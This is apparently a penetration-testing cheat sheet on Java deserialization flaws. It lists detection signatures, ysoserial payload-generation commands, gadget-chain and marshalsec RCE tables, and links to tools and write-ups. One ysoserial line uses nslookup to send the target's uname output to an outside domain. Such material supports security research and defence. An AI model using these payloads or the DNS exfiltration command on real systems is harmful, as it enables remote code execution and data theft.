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# Java Deserialization
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## Detection
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- `"AC ED 00 05"` in Hex
* `AC ED` : STREAM_MAGIC. Specifies that this is a serialization protocol.
* `00 05` : STREAM_VERSION. The serialization version.
- `"rO0"` in Base64
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- Content-type = "application/x-java-serialized-object"
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- `"H4sIAAAAAAAAAJ"` in gzip(base64)
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## Exploit
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[ysoserial ](https://github.com/frohoff/ysoserial ) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
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```java
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java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin
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java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname` .[redacted]' | gzip | base64
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```
payload | author | dependencies | impact (if not RCE)
------|--------|------ |------
BeanShell1 |@pwntester, @cschneider4711 |bsh:2.0b5
C3P0 |@mbechler |c3p0:0.9.5.2, mchange-commons-java:0.2.11
Clojure |@JackOfMostTrades |clojure:1.8.0
CommonsBeanutils1 |@frohoff |commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 |@frohoff |commons-collections:3.1
CommonsCollections2 |@frohoff |commons-collections4:4.0
CommonsCollections3 |@frohoff |commons-collections:3.1
CommonsCollections4 |@frohoff |commons-collections4:4.0
CommonsCollections5 |@matthias_kaiser, @jasinner |commons-collections:3.1
CommonsCollections6 |@matthias_kaiser |commons-collections:3.1
FileUpload1 |@mbechler |commons-fileupload:1.3.1, commons-io:2.4 | file uploading
Groovy1 |@frohoff |groovy:2.3.9
Hibernate1 |@mbechler|
Hibernate2 |@mbechler|
JBossInterceptors1 |@matthias_kaiser |javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient |@mbechler|
JRMPListener |@mbechler|
JSON1 |@mbechler |json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 |@matthias_kaiser |javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 |@frohoff|
Jython1 |@pwntester, @cschneider4711 |jython-standalone:2.5.2
MozillaRhino1 |@matthias_kaiser |js:1.7R2
Myfaces1 |@mbechler|
Myfaces2 |@mbechler|
ROME |@mbechler |rome:1.0
Spring1 |@frohoff |spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 |@mbechler |spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS |@gebl| | jre only vuln detect
Wicket1 |@jacob-baines |wicket-util:6.23.0, slf4j-api:1.6.4
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## Burp extensions using ysoserial
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- [JavaSerialKiller ](https://github.com/NetSPI/JavaSerialKiller )
- [Java Deserialization Scanner ](https://github.com/federicodotta/Java-Deserialization-Scanner )
- [Burp-ysoserial ](https://github.com/summitt/burp-ysoserial )
- [SuperSerial ](https://github.com/DirectDefense/SuperSerial )
- [SuperSerial-Active ](https://github.com/DirectDefense/SuperSerial-Active )
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## Other tools
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- [JRE8u20_RCE_Gadget ](https://github.com/pwntester/JRE8u20_RCE_Gadget )
- [JexBoss ](https://github.com/joaomatosf/jexboss ) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
- [ysoserial-modified ](https://github.com/pimps/ysoserial-modified )
- [gadgetprobe ](https://labs.bishopfox.com/gadgetprobe )
- [marshalsec ](https://github.com/mbechler/marshalsec ) - Turning your data into code execution
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```java
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.< Marshaller > [-a] [-v] [-t] [< gadget_type > [< arguments... > ]]
where
-a - generates/tests all payloads for that marshaller
-t - runs in test mode, unmarshalling the generated payloads after generating them.
-v - verbose mode, e.g. also shows the generated payload in test mode.
gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
arguments - Gadget specific arguments
```
Payload generators for the following marshallers are included:< br / >
| Marshaller | Gadget Impact
| ------------------------------- | ----------------------------------------------
| BlazeDSAMF(0| 3| X) | JDK only escalation to Java serialization< br / > various third party libraries RCEs
| Hessian| Burlap | various third party RCEs
| Castor | dependency library RCE
| Jackson | **possible JDK only RCE** , various third party RCEs
| Java | yet another third party RCE
| JsonIO | **JDK only RCE**
| JYAML | **JDK only RCE**
| Kryo | third party RCEs
| KryoAltStrategy | **JDK only RCE**
| Red5AMF(0| 3) | **JDK only RCE**
| SnakeYAML | **JDK only RCEs**
| XStream | **JDK only RCEs**
| YAMLBeans | third party RCE
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## References
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- [Github - ysoserial ](https://github.com/frohoff/ysoserial )
- [Java-Deserialization-Cheat-Sheet - GrrrDog ](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md )
- [Understanding & practicing java deserialization exploits ](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/ )
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- [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil ](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a )
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- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli ](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html )
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- [Jackson CVE-2019-12384: anatomy of a vulnerability class ](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html )
- [On Jackson CVEs: Don’ t Panic — Here is what you need to know ](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96 )
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- [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin / @artsploit - 29 June 2021 ](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464 )